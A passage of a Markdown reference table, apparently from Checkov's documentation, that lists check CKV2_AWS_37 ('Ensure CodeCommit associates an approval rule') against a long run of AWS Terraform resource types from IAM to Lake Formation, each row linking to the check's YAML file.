[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1279 | CKV2_AWS_37 | resource | aws_iam_openid_connect_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1280 | CKV2_AWS_37 | resource | aws_iam_organizations_features | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1281 | CKV2_AWS_37 | resource | aws_iam_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1282 | CKV2_AWS_37 | resource | aws_iam_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1283 | CKV2_AWS_37 | resource | aws_iam_policy_document | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1284 | CKV2_AWS_37 | resource | aws_iam_role | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1285 | CKV2_AWS_37 | resource | aws_iam_role_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1286 | CKV2_AWS_37 | resource | aws_iam_role_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1287 | CKV2_AWS_37 | resource | aws_iam_role_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1288 | CKV2_AWS_37 | resource | aws_iam_role_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1289 | CKV2_AWS_37 | resource | aws_iam_saml_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1290 | CKV2_AWS_37 | resource | aws_iam_security_token_service_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1291 | CKV2_AWS_37 | resource | aws_iam_server_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1292 | CKV2_AWS_37 | resource | aws_iam_service_linked_role | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1293 | CKV2_AWS_37 | resource | aws_iam_service_specific_credential | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1294 | CKV2_AWS_37 | resource | aws_iam_signing_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1295 | CKV2_AWS_37 | resource | aws_iam_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1296 | CKV2_AWS_37 | resource | aws_iam_user_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1297 | CKV2_AWS_37 | resource | aws_iam_user_login_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1298 | CKV2_AWS_37 | resource | aws_iam_user_policies_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1299 | CKV2_AWS_37 | resource | aws_iam_user_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1300 | CKV2_AWS_37 | resource | aws_iam_user_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1301 | CKV2_AWS_37 | resource | aws_iam_user_policy_attachments_exclusive | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1302 | CKV2_AWS_37 | resource | aws_iam_user_ssh_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1303 | CKV2_AWS_37 | resource | aws_iam_virtual_mfa_device | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1304 | CKV2_AWS_37 | resource | aws_identitystore_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1305 | CKV2_AWS_37 | resource | aws_identitystore_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1306 | CKV2_AWS_37 | resource | aws_identitystore_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1307 | CKV2_AWS_37 | resource | aws_imagebuilder_component | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1308 | CKV2_AWS_37 | resource | aws_imagebuilder_container_recipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1309 | CKV2_AWS_37 | resource | aws_imagebuilder_distribution_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1310 | CKV2_AWS_37 | resource | aws_imagebuilder_image | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1311 | CKV2_AWS_37 | resource | aws_imagebuilder_image_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1312 | CKV2_AWS_37 | resource | aws_imagebuilder_image_recipe | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1313 | CKV2_AWS_37 | resource | aws_imagebuilder_infrastructure_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1314 | CKV2_AWS_37 | resource | aws_imagebuilder_lifecycle_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1315 | CKV2_AWS_37 | resource | aws_imagebuilder_workflow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1316 | CKV2_AWS_37 | resource | aws_inspector2_delegated_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1317 | CKV2_AWS_37 | resource | aws_inspector2_enabler | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1318 | CKV2_AWS_37 | resource | aws_inspector2_member_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1319 | CKV2_AWS_37 | resource | aws_inspector2_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1320 | CKV2_AWS_37 | resource | aws_inspector_assessment_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1321 | CKV2_AWS_37 | resource | aws_inspector_assessment_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1322 | CKV2_AWS_37 | resource | aws_inspector_resource_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1323 | CKV2_AWS_37 | resource | aws_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1324 | CKV2_AWS_37 | resource | aws_internet_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1325 | CKV2_AWS_37 | resource | aws_internet_gateway_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1326 | CKV2_AWS_37 | resource | aws_internetmonitor_monitor | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1327 | CKV2_AWS_37 | resource | aws_iot_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1328 | CKV2_AWS_37 | resource | aws_iot_billing_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1329 | CKV2_AWS_37 | resource | aws_iot_ca_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1330 | CKV2_AWS_37 | resource | aws_iot_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1331 | CKV2_AWS_37 | resource | aws_iot_domain_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1332 | CKV2_AWS_37 | resource | aws_iot_event_configurations | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1333 | CKV2_AWS_37 | resource | aws_iot_indexing_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1334 | CKV2_AWS_37 | resource | aws_iot_logging_options | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1335 | CKV2_AWS_37 | resource | aws_iot_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1336 | CKV2_AWS_37 | resource | aws_iot_policy_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1337 | CKV2_AWS_37 | resource | aws_iot_provisioning_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1338 | CKV2_AWS_37 | resource | aws_iot_role_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1339 | CKV2_AWS_37 | resource | aws_iot_thing | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1340 | CKV2_AWS_37 | resource | aws_iot_thing_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1341 | CKV2_AWS_37 | resource | aws_iot_thing_group_membership | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1342 | CKV2_AWS_37 | resource | aws_iot_thing_principal_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1343 | CKV2_AWS_37 | resource | aws_iot_thing_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1344 | CKV2_AWS_37 | resource | aws_iot_topic_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1345 | CKV2_AWS_37 | resource | aws_iot_topic_rule_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1346 | CKV2_AWS_37 | resource | aws_ivs_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1347 | CKV2_AWS_37 | resource | aws_ivs_playback_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1348 | CKV2_AWS_37 | resource | aws_ivs_recording_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1349 | CKV2_AWS_37 | resource | aws_ivschat_logging_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1350 | CKV2_AWS_37 | resource | aws_ivschat_room | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1351 | CKV2_AWS_37 | resource | aws_kendra_data_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1352 | CKV2_AWS_37 | resource | aws_kendra_experience | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1353 | CKV2_AWS_37 | resource | aws_kendra_faq | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1354 | CKV2_AWS_37 | resource | aws_kendra_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1355 | CKV2_AWS_37 | resource | aws_kendra_query_suggestions_block_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1356 | CKV2_AWS_37 | resource | aws_kendra_thesaurus | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1357 | CKV2_AWS_37 | resource | aws_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1358 | CKV2_AWS_37 | resource | aws_keyspaces_keyspace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1359 | CKV2_AWS_37 | resource | aws_keyspaces_table | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1360 | CKV2_AWS_37 | resource | aws_kinesis_analytics_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1361 | CKV2_AWS_37 | resource | aws_kinesis_firehose_delivery_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1362 | CKV2_AWS_37 | resource | aws_kinesis_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1363 | CKV2_AWS_37 | resource | aws_kinesis_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1364 | CKV2_AWS_37 | resource | aws_kinesis_stream_consumer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1365 | CKV2_AWS_37 | resource | aws_kinesis_video_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1366 | CKV2_AWS_37 | resource | aws_kinesisanalyticsv2_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1367 | CKV2_AWS_37 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1368 | CKV2_AWS_37 | resource | aws_kms_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1369 | CKV2_AWS_37 | resource | aws_kms_ciphertext | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1370 | CKV2_AWS_37 | resource | aws_kms_custom_key_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1371 | CKV2_AWS_37 | resource | aws_kms_external_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1372 | CKV2_AWS_37 | resource | aws_kms_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1373 | CKV2_AWS_37 | resource | aws_kms_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1374 | CKV2_AWS_37 | resource | aws_kms_key_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1375 | CKV2_AWS_37 | resource | aws_kms_replica_external_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1376 | CKV2_AWS_37 | resource | aws_kms_replica_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1377 | CKV2_AWS_37 | resource | aws_lakeformation_data_cells_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1378 | CKV2_AWS_37 | resource | aws_lakeformation_data_lake_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1379 | CKV2_AWS_37 | resource | aws_lakeformation_lf_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1380 | CKV2_AWS_37 | resource | aws_lakeformation_permissions | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1381 | CKV2_AWS_37 | resource | aws_lakeformation_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1382 | CKV2_AWS_37 | resource | aws_lakeformation_resource_lf_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1383 | CKV2_AWS_37 | resource | aws_lakeformation_resource_lf_tags | Ensure CodeCommit associates an approval rule | Terraform | 